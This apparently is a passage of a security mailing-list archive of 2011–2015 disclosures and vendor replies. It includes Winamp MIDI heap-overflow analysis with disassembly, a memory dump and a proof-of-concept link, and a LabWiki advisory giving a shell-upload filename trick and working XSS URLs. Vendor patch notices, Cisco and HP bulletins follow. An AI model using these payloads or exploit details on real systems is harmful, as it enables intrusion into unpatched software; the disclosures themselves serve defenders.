> and the arbitrary free() exploitation:
> 
>   07662BE5  |> 8DBE 24080000        LEA EDI,DWORD PTR DS:[ESI+824]
>   07662BEB  |. C74424 10 10000000   MOV DWORD PTR SS:[ESP+10],10
>   07662BF3  |> 8B07                 /MOV EAX,DWORD PTR DS:[EDI]
>                                     ; our 32 bit, 0x61616161
>   07662BF5  |. 3BC5                 |CMP EAX,EBP
>   07662BF7  |. 74 06                |JE SHORT in_midi.07662BFF
>   07662BF9  |. 50                   |PUSH EAX
>   07662BFA  |. FFD3                 |CALL EBX   ; MSVCR90.free
>   07662BFC  |. 59                   |POP ECX
>   07662BFD  |. 892F                 |MOV DWORD PTR DS:[EDI],EBP
>   07662BFF  |> 83C7 04              |ADD EDI,4
>   07662C02  |. FF4C24 10            |DEC DWORD PTR SS:[ESP+10]
>   07662C06  |.^75 EB                JNZ SHORT in_midi.07662BF3
> 
> 
> -----------------------------------------
> B] in_midi Note On messages heap overflow
> -----------------------------------------
> 
> The Note On messages (from 0x90 to 0x9f) have the same format of the
> Controller ones and also in this case Winamp doesnt check the channel
> number specified in the file leading to another heap oveflow using
> channels greater than 127.
> 
> 
> -----------------------------
> C] in_midi MTrk heap overflow
> -----------------------------
> 
> Winamp calculates the size of the memory to allocate through the
> parsing of the chunk size of all the MTrk fields.
> A combination of signed comparisons, integer overflows and
> portions of data copied in predictable positions allow the
> exploiting of the relative heap overflow:
> 
>   07663738  |> 8B45 0C           /MOV EAX,DWORD PTR SS:[EBP+C]
>                                  ; current total size
>   0766373B  |> 813C38 4D54726B   |CMP DWORD PTR DS:[EAX+EDI],6B72544D
>                                  ; MUST be equal to "MTrk"
>   07663742  |. 75 5A             |JNZ SHORT in_midi.0766379E
>   07663744  |. 8D48 0C           |LEA ECX,DWORD PTR DS:[EAX+C]  ; +12
>   07663747  |. 3B4D 10           |CMP ECX,DWORD PTR SS:[EBP+10]
>   0766374A  |. 7F 52             |JG SHORT in_midi.0766379E
>                                  ; signed comparison
>   0766374C  |. 8B4C38 04         |MOV ECX,DWORD PTR DS:[EAX+EDI+4]
>                                  ; get "next" MTrk size
>   07663750  |. 83C0 08           |ADD EAX,8                     ; +8
>   07663753  |. 8945 0C           |MOV DWORD PTR SS:[EBP+C],EAX
>   07663756  |. 8945 FC           |MOV DWORD PTR SS:[EBP-4],EAX
>   07663759  |. E8 7A9D0000       |CALL in_midi.0766D4D8     ; ntohl(ecx)
>   0766375E  |. 0145 0C           |ADD DWORD PTR SS:[EBP+C],EAX
>   07663761  |. 8B45 10           |MOV EAX,DWORD PTR SS:[EBP+10]
>   07663764  |. 3945 0C           |CMP DWORD PTR SS:[EBP+C],EAX
>   07663767  |. 7F 08             |JG SHORT in_midi.07663771 ; signed comp
>   07663769  |. 46                |INC ESI
>   0766376A  |. 3B75 F8           |CMP ESI,DWORD PTR SS:[EBP-8]
>   0766376D  |.^7C C9             JL SHORT in_midi.07663738
>   ...
>   076635D5  |> 53                PUSH EBX
>   076635D6  |. 56                PUSH ESI
>   076635D7  |. 8B75 10           MOV ESI,DWORD PTR SS:[EBP+10]
>   076635DA  |. 8D46 10           LEA EAX,DWORD PTR DS:[ESI+10]
>   076635DD  |. 50                PUSH EAX
>                                  ; controlled miscalculated size
>   076635DE  |. FF15 B0316707     CALL DWORD PTR DS:[<&MSVCR90.malloc>]
>                                  ; malloc
>   ...
>   076636CF  |> 57                PUSH EDI           ; 0xFFFFF81F
>   076636D0  |. 51                PUSH ECX           ; all data from MThd
>   076636D1  |. 53                PUSH EBX           ; allocated buffer
>   076636D2  |. E8 77C80000       CALL <JMP.&MSVCR90.memcpy> ; memcpy
> 
> And the following is the situation caused by my proof-of-concept
> during the total size calculation with EDI 01246298 and EAX FFFFF816,
> so the "dword[EAX+EDI] == 6B72544D" check is perfectly bypassed:
> 
> 01246188 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 rkMTrkMTrkMTrkMT
> 01246198 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 rkMTrkMTrkMTrkMT
> 012461A8 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 rkMTrkMTrkMTrkMT
> 012461B8 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 rkMTrkMTrkMTrkMT
> 012461C8 72 6B 4D 54 72 6B 4D 54 72 6B 4D 54 72 6B AB AB rkMTrkMTrkMTrk««
> 012461D8 AB AB AB AB AB AB EE FE 00 00 00 00 00 00 00 00 ««««««îþ........
> 012461E8 15 00 A3 21 EE 07 18 01 50 DC 22 01 20 00 00 00 ..£!î...PÜ". ...
> 012461F8 19 00 00 00 88 C2 22 01 08 00 00 00 00 00 00 00 ....ˆÂ".........
> 01246208 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246218 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246228 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246238 00 00 00 00 00 00 00 00 00 00 00 00 C0 53 23 01 ............ÀS#.
> 01246248 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246258 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246268 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
> 01246278 00 00 00 00 01 00 00 00 AB AB AB AB AB AB AB AB ........««««««««
> 01246288 00 00 00 00 00 00 00 00 93 21 15 00 81 07 1A 01 ........“!.....
> 01246298 4D 54 68 64 00 00 00 06 00 01 00 13 00 78 4D 54 MThd.........xMT
> 012462A8 72 6B FF FF F8 00 41 41 41 41 41 41 41 41 41 41 rkÿÿø.AAAAAAAAAA
> 012462B8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
> 012462C8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
> 012462D8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
> 
> 
> #######################################################################
> 
> ===========
> 3) The Code
> ===========
> 
> 
> http://aluigi.org/poc/winamp_3.zip
> 
> winamp_3a.mid will exploit the arbitrary freeing of address 0x61616161.
> 
> 
> #######################################################################
> 
> ======
> 4) Fix
> ======
> 
> 
> No fix.
> 
> 
> #######################################################################
> 
> 
> --- 
> Luigi Auriemma
> http://aluigi.org

No CVE-identifier requested by the founder "Luigi Auriemma", but I requested one from MITRE. They have not yet responded. I also reported this issue to Winamp. No reponse from they either. Does anyone have experience of Winamps security-related communication?

Do you have any idea if this has been fixed in version Winamp Media Player 5.62?

Best regards,
Henri Salo


From: muuratsalo experimental hack lab muuratsalo@gmail.com
Sent: Wed 9. Nov 2011 11:04
Dear all,
there is a small mistake in the Vulnerability overview: it is LabWiki
NOT LabStore!
Best,
muuratsalo

2011/11/9 muuratsalo experimental hack lab <muuratsalo@gmail.com>:
> ------------------------------------------------------------------------
> LabWiki <=3D 1.1 Multiple Vulnerabilities
> ------------------------------------------------------------------------
>
> author............: muuratsalo (Revshell.com)
> contact...........: muuratsalo[at]gmail[dot]com
> download..........: http://www.bioinformatics.org/phplabware/labwiki/inde=
x.php
>
>
> [0x01] Vulnerability overview:
>
> All versions of LabStore <=3D 1.1 are affected by multiple vulnerabilitie=
s.
>
>
> [0x02] Disclosure timeline:
>
> [08/11/2011] - Multiple vulnerabilities discovered and reported to the ve=
ndor.
> [08/11/2011] - The vendor confirmed the vulnerabilities and he is
> working on fixing the reported issues.
> [09/11/2011] - Public Disclosure
>
>
> [0x03] Vulnerabilities:
>
> -- Shell Upload Vulnerability --
> The upload script /edit.php improperly checks the filetype of uploaded im=
ages.
> A shell.php.gif is accepted. =A0/* -- note that access to edit.php
> could be restricted-- */
>
> -- Multiple Cross Site Scripting Vulnerabilities --
> http://localhost/LabWiki/index.php?from=3D"></><script>alert(muuratsalo=
)</script>&help=3Dtrue&page=3DWhat_is_wiki
> http://localhost/LabWiki/recentchanges.php?nothing=3Dnothing&page_no=3D">=
</><script>alert(muuratsalo)</script>
>


From: Harold_Toomey@McAfee.com
Sent: Mon 15. Jul 2013 23:54
McAfee has released a Knowledgebase Article (KB) to address the issues reported by a NATO pen test.  

https://kc.mcafee.com/corporate/index?page=content&id=KB78824

Both SQL Injection vulnerabilities were identified on May 10th, 2013 and patched as specified in SB10043. McAfees internal testing leads us to believe that the ePO systems that NATO penetration tested were not running with the most recent and available patches at the time of the test. Namely, the patched agent extension installed for ePO 4.6.6, as described in SB10043.

The Reflected Cross-Site Scripting vulnerabilities are low severity.  They will be resolved in ePO 4.6.7, which is tentatively scheduled to be released in late Q3 2013.

- Harold

Harold Toomey, CISSP, CISA, CISM, CRISC, CGEIT
Principal Product Security Architect
Product Security Group, McAfee, Inc.
(972) 963-7754 | Direct
(801) 830-9987 | Mobile
Harold_Toomey@McAfee.com


From: krlovett@gmail.com
Sent: Wed 17. Jul 2013 19:19
Update: The new Firmware tests for the ASUS 66 and 56 series have shown that access to the root share and directory traversal are no longer possible. Well conduct more testing on the N14 and 16 series when those are released in the next day or two.

It is recommended that all users upgrade as soon as possible to the latest firmware.


From: krlovett@gmail.com
Sent: Wed 17. Jul 2013 19:36
Update: The new Firmware tests for the ASUS 66 and 56 series have shown that access to the root share and directory traversal are no longer possible. Well conduct more testing on the N14 and 16 series when those are released in the next day or two.

It is recommended that all users upgrade as soon as possible to the latest firmware.


From: Rodzbry27@yahoo.com
Sent: Thu 14. Nov 2013 07:12
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Cisco Security Advisory: Multiple Vulnerabilities in Cisco Prime Data Center Network Manager

Advisory ID: cisco-sa-20130918-dcnm

Revision 1.0

For Public Release 2013 September 18 16:00 UTC (GMT)

+---------------------------------------------------------------------

Summary
=======

Cisco Prime Data Center Network Manager (DCNM) contains multiple vulnerabilities that could allow an unauthenticated, remote attacker to disclose file components, and access text files on an affected device. Various components of Cisco Prime DCNM are affected. These vulnerabilities can be exploited independently on the same device; however, a release that is affected by one of the vulnerabilities may not be affected by the others.

Cisco Prime DCNM is affected by the following vulnerabilities:

Cisco Prime DCNM Information Disclosure Vulnerability
Cisco Prime DCNM Remote Command Execution Vulnerabilities
Cisco Prime DCNM XML External Entity Injection Vulnerability

Cisco has released free software updates that address these vulnerabilities. There are currently no workarounds that mitigate these vulnerabilities. This advisory is available at the following link:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cis
co-sa-20130918-dcnm

-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.20 (Darwin)

iF4EAREKAAYFAlI5sEcACgkQUddfH3/BbTo9DQD+Mm2vPADrFs+6ZKRVdtyRmfKl
1dAoJ31/KIf8LdIJZ3AA/RMCA/I9eXnVEWNdnAn4mB01WxekgqqPP0l8pCwLONAs
=HT2Y
-----END PGP SIGNATURE-----

[ reply ]


From: Rodzbry27@yahoo.com
Sent: Thu 14. Nov 2013 07:14
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Cisco Security Advisory: Multiple Vulnerabilities in Cisco Prime Data Center Network Manager

Advisory ID: cisco-sa-20130918-dcnm

Revision 1.0

For Public Release 2013 September 18 16:00 UTC (GMT)

+---------------------------------------------------------------------

Summary
=======

Cisco Prime Data Center Network Manager (DCNM) contains multiple vulnerabilities that could allow an unauthenticated, remote attacker to disclose file components, and access text files on an affected device. Various components of Cisco Prime DCNM are affected. These vulnerabilities can be exploited independently on the same device; however, a release that is affected by one of the vulnerabilities may not be affected by the others.

Cisco Prime DCNM is affected by the following vulnerabilities:

Cisco Prime DCNM Information Disclosure Vulnerability
Cisco Prime DCNM Remote Command Execution Vulnerabilities
Cisco Prime DCNM XML External Entity Injection Vulnerability

Cisco has released free software updates that address these vulnerabilities. There are currently no workarounds that mitigate these vulnerabilities. This advisory is available at the following link:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cis
co-sa-20130918-dcnm

-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.20 (Darwin)

iF4EAREKAAYFAlI5sEcACgkQUddfH3/BbTo9DQD+Mm2vPADrFs+6ZKRVdtyRmfKl
1dAoJ31/KIf8LdIJZ3AA/RMCA/I9eXnVEWNdnAn4mBWxekgqqPP0l8pCwLONAs
=HT2Y
-----END PGP SIGNATURE-----

[ reply ]


From: sales@prochatrooms.com
Sent: Fri 29. Aug 2014 18:54
Date: 12 Aug 2014

A software update for the Text Chat Room & Audio/Video Chat Room (v8.2.0) is now available to download in the Pro Chat Rooms customer area that addresses this security issue.

We would like to express our thanks to Mike Manzotti @ Dionach Ltd who assisted us with this update.


From: sales@prochatrooms.com
Sent: Tue 9. Sep 2014 17:52
Date: 12 Aug 2014

A software update for the Text Chat Room & Audio/Video Chat Room (v8.2.0) is now available to download in the Pro Chat 
Rooms customer area that addresses this security issue.

We would like to express our thanks to Mike Manzotti @ Dionach Ltd who assisted us with this update.


From: Federick Joe P Fajardo fjpfajardo@ph.ibm.com
Sent: Fri 19. Sep 2014 22:10
The following CVEs have been assigned for this issues:

CVE-2014-6435 - Potential DoS attack=20
Link to OSVDB ID: 111432 - http://osvdb.org/show/osvdb/111432

CVE-2014-6436 - Broken Session Management
Link to OSVDB ID: 111433 - http://osvdb.org/show/osvdb/111433

CVE-2014-6437 - File and Data Exposure
Link to OSVDB ID: 111434 - http://osvdb.org/show/osvdb/111434
Link to OSVDB ID: 111435 - http://osvdb.org/show/osvdb/111435

09/01/2014 - Notified vendor. No response.
09/12/2014 - Reported to Mitre
09/14/2014 - Initial public announcement.
09/19/2014 - CVE reservation.
09/19/2014 - Resend full-disclosure to vendor, awaiting response.

Complete reference: http://x.arpa.ph/fjpf/aztech.html



From: "M.H.P. van Diem" M.H.P.vDiem@uvt.nl
Sent: Tue 25. Aug 2015 21:37
------=_NextPart_000_005B_01D0DF8F.094FDA90
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

En alle hp serverts geupdated.

-----Original Message-----
From: security-alert@hp.com [mailto:security-alert@hp.com] 
Sent: Monday, August 24, 2015 10:06 PM
To: bugtraq@securityfocus.com
Subject: [security bulletin] HPSBMU03397 rev.1 - HP Version Control Agent
(VCA) on Windows and Linux, Multiple Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/
docDisplay?docId=emr_na-c04765169

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c04765169
Version: 1

HPSBMU03397 rev.1 - HP Version Control Agent (VCA) on Windows and Linux,
Multiple Vulnerabilities

NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.

Release Date: 2015-08-18
Last Updated: 2015-08-18

Potential Security Impact: Remote Denial of Service (DoS), unauthorized
modification, unauthorized access, disclosure of information

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with HP Version
Control Agent (VCA) on Windows and Linux. The vulnerabilities could be
exploited remotely resulting in Denial of Service (DoS), unauthorized
modification, unauthorized access, or disclosure of information.

References:

CVE-2014-3569 - Remote Denial of Service (DoS)
CVE-2014-3570 - Remote Disclosure of Information
CVE-2014-3571 - Remote Denial of Service (DoS)
CVE-2014-3572 - Remote Disclosure of Information
CVE-2014-8275 - Remote Unauthorized Modification
CVE-2015-0204 - Remote Disclosure of Information
CVE-2015-0205 - Remote Unauthorized Access
CVE-2015-0206 - Remote Denial of Service (DoS)
CVE-2015-0207 - Remote Denial of Service (DoS)
CVE-2015-0208 - Remote Denial of Service (DoS)
CVE-2015-0209 - Remote Denial of Service (DoS)
CVE-2015-0285 - Remote Disclosure of Information
CVE-2015-0286 - Remote Denial of Service (DoS)
CVE-2015-0287 - Remote Denial of Service (DoS)
CVE-2015-0288 - Remote Denial of Service (DoS)
CVE-2015-0289 - Remote Denial of Service (DoS)
CVE-2015-0290 - Remote Denial of Service (DoS)
CVE-2015-0291 - Remote Denial of Service (DoS)
CVE-2015-0292 - Remote Denial of Service (DoS)
CVE-2015-0293 - Remote Denial of Service (DoS)
CVE-2015-1787 - Remote Denial of Service (DoS)
SSRT102192

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP Version Control Agent (VCA) prior to version 7.3.5

BACKGROUND

CVSS 2.0 Base Metrics
===========================================================
  Reference              Base Vector             Base Score
CVE-2014-3569    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2014-3570    (AV:N/AC:L/Au:N/C:P/I:N/A:N)       5.0
CVE-2014-3571    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2014-3572    (AV:N/AC:L/Au:N/C:N/I:P/A:N)       5.0
CVE-2014-8275    (AV:N/AC:L/Au:N/C:N/I:P/A:N)       5.0
CVE-2015-0204    (AV:N/AC:M/Au:N/C:N/I:P/A:N)       4.3
CVE-2015-0205    (AV:N/AC:L/Au:N/C:N/I:P/A:N)       5.0
CVE-2015-0206    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0207    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0208    (AV:N/AC:M/Au:N/C:N/I:N/A:P)       4.3
CVE-2015-0209    (AV:N/AC:M/Au:N/C:P/I:P/A:P)       6.8
CVE-2015-0285    (AV:N/AC:M/Au:N/C:P/I:N/A:N)       4.3
CVE-2015-0286    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0287    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0288    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0289    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0290    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0291    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-0292    (AV:N/AC:L/Au:N/C:P/I:P/A:P)       7.5
CVE-2015-0293    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2015-1787    (AV:N/AC:H/Au:N/C:N/I:N/A:P)       2.6
===========================================================
             Information on CVSS is documented
            in HP Customer Notice: HPSN-2008-002

RESOLUTION

HP has made the following software updates available to resolve the
vulnerabilities for the impacted versions of HP Version Control Agent (VCA).

Please download the latest version of HP Version Control Agent (VCA) 7.3.5
from the following locations:

For Windows:

X86: http://www.hp.com/swpublishing/MTX-676ddad17a06423589ee8889d0

X64: http://www.hp.com/swpublishing/MTX-72d53359c85340f899e81986a7

For Linux:

http://www.hp.com/swpublishing/MTX-c54de3da8602433283d55e7369

HISTORY
Version:1 (rev.1) - 18 August 2015 Initial release

Third Party Security Patches: Third party security patches that are to be
installed on systems running HP software products should be applied in
accordance with the customers patch management policy.

Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HP Services support channel.  For other issues
about the content of this Security Bulletin, send e-mail to
security-alert@hp.com.

Report: To report a potential security vulnerability with any HP supported
product, send Email to: security-alert@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin
alerts via Email:
http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin Archive: A list of recently released Security Bulletins is
available here:
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.

3C = 3COM
3P = 3rd Party Software
GN = HP General Software
HF = HP Hardware and Firmware
MP = MPE/iX
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PI = Printing and Imaging
PV = ProCurve
ST = Storage Software
TU = Tru64 UNIX
UX = HP-UX

Copyright 2015 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is"
without warranty of any kind. To the extent permitted by law, neither HP or
its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice.
Hewlett-Packard Company and the names of Hewlett-Packard products referenced
herein are trademarks of Hewlett-Packard Company in the United States and
other countries. Other product and company names mentioned herein may be
trademarks of their respective owners.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.13 (GNU/Linux)

iEYEARECAAYFAlXTM7kACgkQ4B86/C0qfVmyOwCfZB3FNybFQZyOAAcMl3c3Jc/P
+RoAoJDe2BUiXWcvbkTPLzK5SomiqrmI
=8Hqh
-----END PGP SIGNATURE-----

------=_NextPart_000_005B_01D0DF8F.094FDA90
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"

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
V7h+w4GSRnl8IOpzZA8gwSS8XOAS41DshJUvsppPwMNIBWDHB5KKoib/7mZF+/dh/pDIcfIDQnea
GAOkyykTQ4GPpm5NGJMmFyNR0cxh0RN7MsGDIJyeTqjIlqWDuitUhaGbPaXufD/86kyuIJBcRwyF
YAD6qQIDAQABo4IBbzCCAWswHwYDVR0jBBgwFoAUY01DWhlIP8RGwQK6v+4O5YK3ZqYwHQYDVR0O
BBYEFLlFHsgL+7yz+akcG+qtqs+hIj50MA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0G
A1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjAYBgNVHSAEETAPMA0GCysGAQQBsjEBAgIdMD8G
A1UdHwQ4MDYwNKAyoDCGLmh0dHA6Ly9jcmwudGNzLnRlcmVuYS5vcmcvVEVSRU5BUGVyc29uYWxD
QS5jcmwwcgYIKwYBBQUHAQEEZjBkMDoGCCsGAQUFBzAChi5odHRwOi8vY3J0LnRjcy50ZXJlbmEu
b3JnL1RFUkVOQVBlcnNvbmFsQ0EuY3J0MCYGCCsGAQUFBzABhhpodHRwOi8vb2NzcC50Y3MudGVy
ZW5hLm9yZzAdBgNVHREEFjAUgRJNLkguUC52RGllbUB1dnQubmwwDQYJKoZIhvcNAQEFBQADggEB
AMUq5dd/QRyIliraP6cJv180e92eIfOxgjw5CtUl+Cp7lt8GcCt82nIy8+uIgYJOyOtfObyHABWd
m8yopJlMApPsp7Uf/jnlR1vQPrelLRn6l/9Ph31ZezhWCtFGzvqnFCo6UVTIaODHfzjvKNi+72VB
vDmdRNGD0Wv2NL2kQJJLx7/F1Ux66q/oaBbQV9tsqL2N/eTbfFpUqxJIuIPxTMCE4+jcnBDR2cV4
